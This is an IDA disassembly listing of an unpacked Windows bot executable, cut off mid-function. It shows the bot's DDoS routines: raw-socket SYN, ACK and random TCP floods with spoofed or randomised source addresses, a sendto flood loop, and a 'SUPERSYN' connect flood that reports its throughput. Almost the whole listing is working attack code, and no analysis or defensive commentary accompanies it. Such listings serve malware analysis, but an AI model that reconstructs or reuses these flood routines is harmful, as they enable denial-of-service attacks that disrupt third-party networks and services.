;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	85DDC85CFCE175A70F151601BBBF394F

; File Name   :	u:\work\85ddc85cfce175a70f151601bbbf394f_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00072000 ( 466944.)
; Section size in file		: 00072000 ( 466944.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE51+3A26o

Dest		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= dword	ptr -18Ch
Str		= byte ptr -10Ch
Str1		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		lea	eax, [ebp+var_18C]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+var_20C]
		push	eax		; Str
		lea	eax, [ebp+var_28C]
		push	eax		; int
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_425050 ; Format
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_294]	; int
		call	sub_40D670
		add	esp, 14h


loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_290]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4010B2(int,int,char *Str1,int,int)

sub_4010B2	proc near		; CODE XREF: sub_4013E9+40p

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
Dst		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str1		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_43C590	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: sub_4010B2+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43C6BC	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	ds:dword_43C5F8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	ds:dword_43C618	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	ds:dword_43C618	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	ds:dword_43C618	; htons
		mov	[ebp+var_12], ax
		call	_rand
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43C618	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	ds:dword_43C614	; htonl
		push	offset Str2	; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	ds:dword_43C618	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+Str1], ebx
		call	ds:dword_42305C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_423058	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2F0j
		mov	[ebp+var_4], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43C618	; htons
		mov	[ebp+var_14], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	ds:dword_43C618	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_43C614	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_43C618	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF34
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF34
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	ds:dword_43C67C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+Str1], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_423058	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: sub_4010B2+2CBj
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_425088 ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: sub_4010B2+2E0j
					; sub_4010B2+2EEj
		mov	ebx, [ebp+Str1]


loc_4013D3:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+31Cj
		push	[ebp+var_20]
		call	ds:dword_43C6B0	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: sub_4010B2+5Bj
		call	ds:dword_43C578	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4013E9(int,char *Str,char *Str1,int)

sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADC5
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_C]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi		; int
		idiv	ecx
		push	ebx		; int
		push	[esp+20h+Str1]	; Str1
		lea	eax, [edx+esi+100h]
		push	eax		; int
		push	esi		; int
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401447	proc near		; DATA XREF: sub_40EE51+3C0Eo

Dest		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_43C698	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E2
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_425214 ; Format


loc_401495:				; DATA XREF: UPX0:off_4272ACo
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C5
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_40D670
		add	esp, 14h


loc_4014C5:				; CODE XREF: sub_401447+5Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_38]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_423050


loc_4014E2:				; CODE XREF: sub_401447+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	ds:dword_43C5F8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401559
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_4251CC ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153C
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_40D670
		add	esp, 14h


loc_40153C:				; CODE XREF: sub_401447+D3j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_38]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_423050


loc_401559:				; CODE XREF: sub_401447+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	ds:dword_43C658	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C0
		lea	eax, [ebp+Dest]
		push	offset unk_42519C ; Format
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A3
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_40D670
		add	esp, 14h


loc_4015A3:				; CODE XREF: sub_401447+13Aj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_38]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_423050


loc_4015C0:				; CODE XREF: sub_401447+122j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	edi
		call	ds:dword_43C618	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	esi, ds:dword_423054
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_4015FE:				; CODE XREF: sub_401447+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017A9
		push	41Ch
		mov	ds:byte_439398,	45h
		call	ds:dword_43C618	; htons
		cmp	[ebp+var_2C], edi
		mov	ds:word_43939A,	ax
		mov	ds:word_43939C,	bx
		mov	ds:word_43939E,	di
		mov	ds:byte_4393A0,	80h
		mov	ds:byte_4393A1,	bl
		mov	ds:word_4393A2,	di
		jz	short loc_401684
		call	_rand
		mov	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		push	1
		mov	ds:dword_4393A4, ebx
		pop	ebx
		jmp	short loc_40169C
; ---------------------------------------------------------------------------


loc_401684:				; CODE XREF: sub_401447+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEDB
		pop	ecx
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	ds:dword_4393A4, eax


loc_40169C:				; CODE XREF: sub_401447+23Bj
		mov	eax, [ebp+var_18]
		mov	ds:dword_4393A8, eax
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	ds:byte_4393AC,	dl
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	ds:byte_4393AD,	dl
		call	_rand
		cdq
		mov	ecx, 0F0h
		push	400h		; Size
		idiv	ecx
		mov	ds:word_4393AE,	di
		mov	ds:word_4393B2,	bx
		inc	edx
		mov	ds:word_4393B0,	dx
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx		; Val
		push	offset dword_4393B4 ; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_439398
		push	[ebp+var_4]
		call	ds:dword_43C67C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401734
		inc	[ebp+arg_0]
		jmp	loc_4015FE
; ---------------------------------------------------------------------------


loc_401734:				; CODE XREF: sub_401447+2E3j
		push	[ebp+var_4]
		call	ds:dword_43C6B0	; closesocket
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42513C ; Format
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178C
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_40D670
		add	esp, 14h


loc_40178C:				; CODE XREF: sub_401447+323j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_38]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_423050


loc_4017A9:				; CODE XREF: sub_401447+1C8j
		push	[ebp+var_4]
		call	ds:dword_43C6B0	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_4250DC ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401811
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_40D670
		add	esp, 14h


loc_401811:				; CODE XREF: sub_401447+3A8j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_38]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_423050
sub_401447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: sub_40EE51+158Eo

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_40198C
		push	eax
		lea	eax, [ebp+Dest]
		push	offset Format	; "[SUPERSYN]: Done with flood (%iKB/sec)"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_40D670
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_10]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_40182E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_40198C+27p

var_654		= byte ptr -654h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	ds:dword_43C618	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_401988
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_401915:				; CODE XREF: sub_4018CA+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_40191D:				; CODE XREF: sub_4018CA+7Aj
		push	0
		push	1
		push	2
		call	ds:dword_423214	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401940
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_423218	; ioctlsocket


loc_401940:				; CODE XREF: sub_4018CA+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_40191D
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_40194E:				; CODE XREF: sub_4018CA+96j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_42321C	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_40194E
		push	64h
		call	ds:dword_423060	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401972:				; CODE XREF: sub_4018CA+B4j
		push	dword ptr [esi]
		call	ds:dword_423220	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_401972
		dec	[ebp+arg_4]
		jnz	short loc_401915
		pop	edi
		pop	esi
		pop	ebx


loc_401988:				; CODE XREF: sub_4018CA+3Ej
		xor	eax, eax
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40198C(int,char *Str,int)

sub_40198C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADC5
		push	[esp+10h+Str]	; Str
		mov	edi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018CA
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C2
		push	1
		pop	eax


loc_4019C2:				; CODE XREF: sub_40198C+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_40198C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D1	proc near		; DATA XREF: sub_40EE51+3917o

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_401D1F
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_425280 ; Format
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_401A4E
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_40D670
		add	esp, 14h


loc_401A4E:				; CODE XREF: sub_4019D1+5Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_10]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_4019D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A6D	proc near		; CODE XREF: sub_401D1F+3Cp

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
Dst		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
